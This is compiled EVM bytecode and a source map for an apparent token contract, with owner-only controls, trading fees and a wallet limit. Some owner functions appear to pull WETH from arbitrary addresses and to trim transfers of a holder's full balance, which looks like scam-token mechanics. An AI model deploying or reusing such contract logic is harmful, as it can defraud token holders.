ffffffffffffffffffffffffffffffffffffff1681565b60195481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfa906135a7565b60405180910390fd5b60005b8251811015610d93578160096000858481518110610d2757610d266135c7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d8b906135f6565b915050610d06565b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1d906135a7565b60405180910390fd5b8060178190555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edb906135a7565b60405180910390fd5b600060195414610ef5576000610ef7565b435b601981905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcd906135a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611171576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611168906135a7565b60405180910390fd5b8060188190555050565b60606007805461118a9061345b565b80601f01602080910402602001604051908101604052809291908181526020018280546111b69061345b565b80156112035780601f106111d857610100808354040283529160200191611203565b820191906000526020600020905b8154815290600101906020018083116111e657829003601f168201915b5050505050905090565b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146113c4578073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016112b89190612f4e565b602060405180830381865afa1580156112d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f99190613653565b6040518363ffffffff1660e01b81526004016113169291906136a1565b6020604051808303816000875af1158015611335573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135991906136df565b50600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156113c2573d6000803e3d6000fd5b505b50565b60006113d4338484611c26565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461146c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611463906135a7565b60405180910390fd5b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ff9190613721565b90508073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b815260040161156092919061374e565b6020604051808303816000875af115801561157f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a391906136df565b508073ffffffffffffffffffffffffffffffffffffffff166323b872dd86308473ffffffffffffffffffffffffffffffffffffffff166370a082318a6040518263ffffffff1660e01b81526004016115fb9190612f4e565b602060405180830381865afa158015611618573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163c9190613653565b6040518463ffffffff1660e01b815260040161165a93929190613777565b6020604051808303816000875af1158015611679573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061169d91906136df565b5060005b848490508110156116f0576116dd838686848181106116c3576116c26135c7565b5b90506020020160208101906116d89190612f69565b6120da565b80806116e8906135f6565b9150506116a1565b504360198190555060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016117339190612f4e565b602060405180830381865afa158015611750573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117749190613653565b905060008111156117ff578173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87836040518363ffffffff1660e01b81526004016117ba92919061374e565b6020604051808303816000875af11580156117d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117fd91906136df565b505b505050505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188c906135a7565b60405180910390fd5b601660009054906101000a900460ff1615601660006101000a81548160ff021916908315150217905550565b601660009054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e0906135a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f906137fa565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c199190612e9a565b60405180910390a3505050565b6000611c3184610eff565b905081811015611c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6d90613866565b60405180910390fd5b600d60009054906101000a900460ff1615611c9d57611c96848484612580565b50506120d5565b6000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611d055750600d60009054906101000a900460ff16155b8015611d5b5750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611db15750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611dc05750601554600e54115b15611e33576000839050611dd330610eff565b811115611e1d57600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b601754811115611e3157611e308161269e565b5b505b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ed75750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ef05750600d60009054906101000a900460ff16155b156120c657600060195411611f0457600080fd5b60019050600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611faf5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156120055750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561208757600e600081548092919061201d906135f6565b919050555060006018541115612086576018548361203a86610eff565b6120449190613886565b1115612085576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207c90613906565b60405180910390fd5b5b5b601660009054906101000a900460ff1680156120a257508183145b156120c5576305f5e100836120b79190613955565b836120c291906134bb565b92505b5b6120d28585858461290c565b50505b505050565b6001600d60006101000a81548160ff0219169083151502179055506000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612164573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121889190613721565b90506000600267ffffffffffffffff8111156121a7576121a6613081565b5b6040519080825280602002602001820160405280156121d55781602001602082028036833780820191505090505b50905081816000815181106121ed576121ec6135c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061223c5761223b6135c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600267ffffffffffffffff81111561229357612292613081565b5b6040519080825280602002602001820160405280156122c15781602001602082028036833780820191505090505b50905030816000815181106122d9576122d86135c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508281600181518110612328576123276135c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161239d9190612f4e565b602060405180830381865afa1580156123ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123de9190613653565b90506000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f88856040518363ffffffff1660e01b815260040161243f929190613a44565b600060405180830381865afa15801561245c573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906124859190613b37565b600181518110612498576124976135c7565b5b602002602001015190508181116124af57806124b1565b815b9050600081036124c5575050505050612561565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c11d795826000878a426040518663ffffffff1660e01b8152600401612529959493929190613bbb565b600060405180830381600087803b15801561254357600080fd5b505af1158015612557573d6000803e3d6000fd5b5050505050505050505b6000600d60006101000a81548160ff0219169083151502179055505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125d191906134bb565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126279190613886565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161268b9190612e9a565b60405180910390a3600190509392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156126d6576126d5613081565b5b6040519080825280602002602001820160405280156127045781602001602082028036833780820191505090505b509050308160008151811061271c5761271b6135c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156127c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127e79190613721565b816001815181106127fb576127fa6135c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016128bb959493929190613c15565b600060405180830381600087803b1580156128d557600080fd5b505af11580156128e9573d6000803e3d6000fd5b50505050506000600d60006101000a81548160ff02191690831515021790555050565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295791906134bb565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008115612bab576000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612a1457601454600e5411612a0957601054612a0d565b6012545b9050612a81565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612a8057601354600e5411612a7957600f54612a7d565b6011545b90505b5b600060648286612a919190613c6f565b612a9b9190613955565b90506000811115612ba8578083612ab29190613886565b925080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aff9190613886565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612b9f9190612e9a565b60405180910390a35b50505b8083612bb791906134bb565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c019190613886565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386612c9f91906134bb565b604051612cac9190612e9a565b60405180910390a35050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612cf5578082015181840152602081019050612cda565b60008484015250505050565b6000601f19601f8301169050919050565b6000612d1d82612cbb565b612d278185612cc6565b9350612d37818560208601612cd7565b612d4081612d01565b840191505092915050565b60006020820190508181036000830152612d658184612d12565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612dac82612d81565b9050919050565b612dbc81612da1565b8114612dc757600080fd5b50565b600081359050612dd981612db3565b92915050565b6000819050919050565b612df281612ddf565b8114612dfd57600080fd5b50565b600081359050612e0f81612de9565b92915050565b60008060408385031215612e2c57612e2b612d77565b5b6000612e3a85828601612dca565b9250506020612e4b85828601612e00565b9150509250929050565b60008115159050919050565b612e6a81612e55565b82525050565b6000602082019050612e856000830184612e61565b92915050565b612e9481612ddf565b82525050565b6000602082019050612eaf6000830184612e8b565b92915050565b600080600060608486031215612ece57612ecd612d77565b5b6000612edc86828701612dca565b9350506020612eed86828701612dca565b9250506040612efe86828701612e00565b9150509250925092565b600060ff82169050919050565b612f1e81612f08565b82525050565b6000602082019050612f396000830184612f15565b92915050565b612f4881612da1565b82525050565b6000602082019050612f636000830184612f3f565b92915050565b600060208284031215612f7f57612f7e612d77565b5b6000612f8d84828501612dca565b91505092915050565b6000612fa182612d81565b9050919050565b612fb181612f96565b8114612fbc57600080fd5b50565b600081359050612fce81612fa8565b92915050565b600060208284031215612fea57612fe9612d77565b5b6000612ff884828501612fbf565b91505092915050565b600080600080600060a0868803121561301d5761301c612d77565b5b600061302b88828901612e00565b955050602061303c88828901612e00565b945050604061304d88828901612e00565b935050606061305e88828901612e00565b925050608061306f88828901612e00565b9150509295509295909350565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6130b982612d01565b810181811067ffffffffffffffff821117156130d8576130d7613081565b5b80604052505050565b60006130eb612d6d565b90506130f782826130b0565b919050565b600067ffffffffffffffff82111561311757613116613081565b5b602082029050602081019050919050565b600080fd5b600061314061313b846130fc565b6130e1565b9050808382526020820190506020840283018581111561316357613162613128565b5b835b8181101561318c57806131788882612dca565b845260208401935050602081019050613165565b5050509392505050565b600082601f8301126131ab576131aa61307c565b5b81356131bb84826020860161312d565b91505092915050565b6131cd81612e55565b81146131d857600080fd5b50565b6000813590506131ea816131c4565b92915050565b6000806040838503121561320757613206612d77565b5b600083013567ffffffffffffffff81111561322557613224612d7c565b5b61323185828601613196565b9250506020613242858286016131db565b9150509250929050565b60006020828403121561326257613261612d77565b5b600061327084828501612e00565b91505092915050565b6000819050919050565b600061329e61329961329484612d81565b613279565b612d81565b9050919050565b60006132b082613283565b9050919050565b60006132c2826132a5565b9050919050565b6132d2816132b7565b82525050565b60006020820190506132ed60008301846132c9565b92915050565b6132fc81612f96565b82525050565b600060208201905061331760008301846132f3565b92915050565b600080fd5b60008083601f8401126133385761333761307c565b5b8235905067ffffffffffffffff8111156133555761335461331d565b5b60208301915083602082028301111561337157613370613128565b5b9250929050565b6000806000806060858703121561339257613391612d77565b5b60006133a087828801612dca565b945050602085013567ffffffffffffffff8111156133c1576133c0612d7c565b5b6133cd87828801613322565b935093505060406133e087828801612e00565b91505092959194509250565b6000806040838503121561340357613402612d77565b5b600061341185828601612dca565b925050602061342285828601612dca565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061347357607f821691505b6020821081036134865761348561342c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134c682612ddf565b91506134d183612ddf565b92508282039050818111156134e9576134e861348c565b5b92915050565b7f2146756e64657200000000000000000000000000000000000000000000000000600082015250565b6000613525600783612cc6565b9150613530826134ef565b602082019050919050565b6000602082019050818103600083015261355481613518565b9050919050565b7f796f7520617265206e6f74206f776e6572000000000000000000000000000000600082015250565b6000613591601183612cc6565b915061359c8261355b565b602082019050919050565b600060208201905081810360008301526135c081613584565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061360182612ddf565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036136335761363261348c565b5b600182019050919050565b60008151905061364d81612de9565b92915050565b60006020828403121561366957613668612d77565b5b60006136778482850161363e565b91505092915050565b600061368b826132a5565b9050919050565b61369b81613680565b82525050565b60006040820190506136b66000830185613692565b6136c36020830184612e8b565b9392505050565b6000815190506136d9816131c4565b92915050565b6000602082840312156136f5576136f4612d77565b5b6000613703848285016136ca565b91505092915050565b60008151905061371b81612db3565b92915050565b60006020828403121561373757613736612d77565b5b60006137458482850161370c565b91505092915050565b60006040820190506137636000830185612f3f565b6137706020830184612e8b565b9392505050565b600060608201905061378c6000830186612f3f565b6137996020830185612f3f565b6137a66040830184612e8b565b949350505050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b60006137e4600883612cc6565b91506137ef826137ae565b602082019050919050565b60006020820190508181036000830152613813816137d7565b9050919050565b7f62616c616e63654e6f74456e6f75676800000000000000000000000000000000600082015250565b6000613850601083612cc6565b915061385b8261381a565b602082019050919050565b6000602082019050818103600083015261387f81613843565b9050919050565b600061389182612ddf565b915061389c83612ddf565b92508282019050808211156138b4576138b361348c565b5b92915050565b7f77616c6c65746c696d6974000000000000000000000000000000000000000000600082015250565b60006138f0600b83612cc6565b91506138fb826138ba565b602082019050919050565b6000602082019050818103600083015261391f816138e3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061396082612ddf565b915061396b83612ddf565b92508261397b5761397a613926565b5b828204905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6139bb81612da1565b82525050565b60006139cd83836139b2565b60208301905092915050565b6000602082019050919050565b60006139f182613986565b6139fb8185613991565b9350613a06836139a2565b8060005b83811015613a37578151613a1e88826139c1565b9750613a29836139d9565b925050600181019050613a0a565b5085935050505092915050565b6000604082019050613a596000830185612e8b565b8181036020830152613a6b81846139e6565b90509392505050565b600067ffffffffffffffff821115613a8f57613a8e613081565b5b602082029050602081019050919050565b6000613ab3613aae84613a74565b6130e1565b90508083825260208201905060208402830185811115613ad657613ad5613128565b5b835b81811015613aff5780613aeb888261363e565b845260208401935050602081019050613ad8565b5050509392505050565b600082601f830112613b1e57613b1d61307c565b5b8151613b2e848260208601613aa0565b91505092915050565b600060208284031215613b4d57613b4c612d77565b5b600082015167ffffffffffffffff811115613b6b57613b6a612d7c565b5b613b7784828501613b09565b91505092915050565b6000819050919050565b6000613ba5613ba0613b9b84613b80565b613279565b612ddf565b9050919050565b613bb581613b8a565b82525050565b600060a082019050613bd06000830188612e8b565b613bdd6020830187613bac565b8181036040830152613bef81866139e6565b9050613bfe6060830185612f3f565b613c0b6080830184612e8b565b9695505050505050565b600060a082019050613c2a6000830188612e8b565b613c376020830187613bac565b8181036040830152613c4981866139e6565b9050613c586060830185613692565b613c656080830184612e8b565b9695505050505050565b6000613c7a82612ddf565b9150613c8583612ddf565b9250828202613c9381612ddf565b91508282048414831517613caa57613ca961348c565b5b509291505056fea264697066735822122040a7e58968bb3c8a6ec6a581b072872e7277e4ff34f324196b4d6cef2b55343064736f6c63430008110033

Deployed Bytecode Sourcemap

3266:10820:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5581:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6394:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5785:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8506:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6586:404;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7484:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5683:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3509:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3771:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5378:89;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3905:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7817:406;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4031:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11435:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13840:206;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8396:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3862:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11474:115;;;;;;;;;;;;;:::i;:::-;;5893:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2889:148;;;;;;;;;;;;;:::i;:::-;;3587:89;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2686:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8540:97;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5475:98;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13139:288;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6020:190;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11597:675;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8271:88;;;;;;;;;;;;;:::i;:::-;;8231:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6218:168;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3045:214;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3436:66;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5581:94;5629:13;5662:5;5655:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5581:94;:::o;6394:184::-;6494:4;6511:37;6520:10;6532:7;6541:6;6511:8;:37::i;:::-;6566:4;6559:11;;6394:184;;;;:::o;5785:100::-;5838:7;5865:12;;5858:19;;5785:100;:::o;8506:25::-;;;;:::o;6586:404::-;6718:4;6735:36;6745:6;6753:9;6764:6;6735:9;:36::i;:::-;4022:1;4013:11;6786;:19;6798:6;6786:19;;;;;;;;;;;;;;;:31;6806:10;6786:31;;;;;;;;;;;;;;;;:38;6782:179;;6943:6;6892:11;:19;6904:6;6892:19;;;;;;;;;;;;;;;:31;6912:10;6892:31;;;;;;;;;;;;;;;;:57;;;;:::i;:::-;6841:11;:19;6853:6;6841:19;;;;;;;;;;;;;;;:31;6861:10;6841:31;;;;;;;;;;;;;;;:108;;;;6782:179;6978:4;6971:11;;6586:404;;;;;:::o;7484:28::-;;;;:::o;5683:94::-;5735:5;5760:9;;;;;;;;;;;5753:16;;5683:94;:::o;3509:71::-;;;;;;;;;;;;;:::o;3771:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;5378:89::-;5293:10;5283:20;;:6;;;;;;;;;;:20;;;:49;;;;5322:10;5307:25;;:11;;;;;;;;;;;:25;;;5283:49;5275:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;5453:6:::1;5447:3;;:12;;;;;;;;;;;;;;;;;;5378:89:::0;:::o;3905:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;7817:406::-;2823:10;2813:20;;:6;;;;;;;;;;:20;;;2805:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;8039:6:::1;8024:12;:21;;;;8072:7;8056:13;:23;;;;8108:12;8090:15;:30;;;;8150:13;8131:16;:32;;;;8195:20;8174:18;:41;;;;7817:406:::0;;;;;:::o;4031:27::-;;;;;;;;;;;;;:::o;11435:30::-;;;;:::o;13840:206::-;2823:10;2813:20;;:6;;;;;;;;;;:20;;;2805:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;13934:6:::1;13930:100;13945:8;:15;13943:1;:17;13930:100;;;14013:5;13980:17;:30;13998:8;14007:1;13998:11;;;;;;;;:::i;:::-;;;;;;;;13980:30;;;;;;;;;;;;;;;;:38;;;;;;;;;;;;;;;;;;13961:3;;;;;:::i;:::-;;;;13930:100;;;;13840:206:::0;;:::o;8396:102::-;2823:10;2813:20;;:6;;;;;;;;;;:20;;;2805:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;8482:8:::1;8467:12;:23;;;;8396:102:::0;:::o;3862:36::-;;;;;;;;;;;;;:::o;11474:115::-;2823:10;2813:20;;:6;;;;;;;;;;:20;;;2805:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;11561:1:::1;11542:15;;:20;:39;;11580:1;11542:39;;;11565:12;11542:39;11524:15;:57;;;;11474:115::o:0;5893:119::-;5959:7;5986:9;:18;5996:7;5986:18;;;;;;;;;;;;;;;;5979:25;;5893:119;;;:::o;2889:148::-;2823:10;2813:20;;:6;;;;;;;;;;:20;;;2805:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;2996:1:::1;2959:40;;2980:6;::::0;::::1;;;;;;;;2959:40;;;;;;;;;;;;3027:1;3010:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2889:148::o:0;3587:89::-;;;;;;;;;;;;;:::o;2686:79::-;2724:7;2751:6;;;;;;;;;;;2744:13;;2686:79;:::o;8540:97::-;2823:10;2813:20;;:6;;;;;;;;;;:20;;;2805:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;8621:8:::1;8608:10;:21;;